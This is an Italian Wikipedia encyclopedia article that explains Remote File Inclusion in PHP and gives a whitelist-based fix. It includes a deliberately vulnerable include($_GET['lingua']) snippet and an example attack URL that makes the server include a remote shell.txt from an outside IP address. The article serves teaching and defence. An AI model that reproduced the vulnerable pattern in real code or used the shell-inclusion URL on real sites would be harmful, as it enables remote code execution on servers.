Remote File Inclusion

Da Wikipedia, l'enciclopedia libera.

Remote File Inclusion, o RFI, nell'ambito della sicurezza informatica indica una vulnerabilità di esecuzione di script arbitrari che affligge i servizi web che soffrono di uno scarso controllo delle variabili inviate da un utente.

Quando un'applicazione permette ad un utente di inserire il nome di un file da eseguire senza effettuare controlli sufficienti, il percorso può venire manipolato in modo da diventare un URI che indica un file remoto, che verrà quindi eseguito sul server.[1]

Questo attacco si distingue dalle più generiche directory traversal nelle quali si ottiene l'accesso non autorizzato ad almeno parte dei file presenti sul server web, dato che nella remote file inclusion viene aggiunta una fonte di codice eseguito sulla macchina, portando quindi ad una arbitrary code execution. Un attaccante potrebbe poi sfruttare l'accesso per creare una shell sul server, in modo da ottenere una via d'accesso persistente[2].

Di solito le vulnerabilità di file inclusion vengono trovate in programmi con un'inclusione di file dinamica, come PHP (anche a causa di alcune scelte riguardo i valori di default dei file di configurazione) e JavaScript, che sono linguaggi interpretati[3]. Nonostante linguaggi come C e C++ usino l'inclusione di file per gestire le librerie non soffrono dello stesso problema, essendo esse gestite da un preprocessore, quindi l'inclusione di librerie non è parametrizzabile, manipolabile dall'utente[senza fonte]. Questo non li rende però immuni da path traversal a causa ad esempio dell'utilizzo improprio di fopen()[4].

Questo è un semplice esempio di sito vulnerabile:

server.php:

<?php
...
if (isset($_GET['lingua'])) {
    include($_GET['lingua'] . '.php');
}
...
?>
<form method="get">
   <select name="lingua">
      <option value="inglese">inglese</option>
      <option value="italiano">italiano</option>
      ...
   </select>
   <input type="submit">
</form>

Andando sulla pagina e scegliendo la lingua italiana, si avrebbe un URL di questo tipo:

http://sito.it/server.php?lingua=italiano

modificando la variabile lingua a piacere si avrà invece:

http://sito.it/server.php?lingua=http://151.27.56.172/shell.txt

in questo caso la variabile lingua assume il valore http://151.27.56.172/shell.txt immesso e nella pagina viene incluso il file shell.txt presente sulla macchina raggiungibile all'indirizzo IP inserito[5].

Quando in una applicazione web non è possibile né rimuovere la possibilità di includere file, né non permettere all'utente di scegliere in modo diretto il file da includere, una soluzione è quella di fare in modo che il server espliciti quali sono le pagine che è possibile includere in un ragionamento simile a quello delle whitelist, indicizzarle, e permettere all'utente di scegliere di inserire un'opzione (spesso un indice) che identifica univocamente quel file. Se il valore inserito dall'utente non corrisponde ad uno degli identificatori messi a disposizione, l'input deve venire scartato[6].

http://miosito.it/index.php?pagina=1

poi all'interno della pagina si effettua un controllo sull'input dell'utente, per verificare che corrisponda ad un'opzione valida. Esempio:

<?php
 $pag = $_GET['pagina'];
 if ($pag == 1)include ('http://miositoesterno.it/miapagina1.php');
 elseif ($pag == 2)include ('http://miositoesterno.it/miapagina2.php');
 else echo 'Indice pagina non valido';
?>
  1. (EN) CWE - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (4.19), su cwe.mitre.org. URL consultato il 28 dicembre 2025.
  2. (EN) File Inclusion Attacks - LFI and RFI Exploits, su Indusface. URL consultato il 28 dicembre 2025.
  3. (EN) ZAP – Remote File Inclusion, su www.zaproxy.org. URL consultato il 28 dicembre 2025.
  4. (EN) MATLAB Vulnerable path manipulation, su mathworks.com. URL consultato il 28 dicembre 2025.
  5. (EN) Metasploit Unleashed | File Inclusion Vulnerabilities, su www.offsec.com. URL consultato il 28 dicembre 2025.
  6. (EN) WSTG - v4.2 | OWASP Foundation, su owasp.org. URL consultato il 28 dicembre 2025.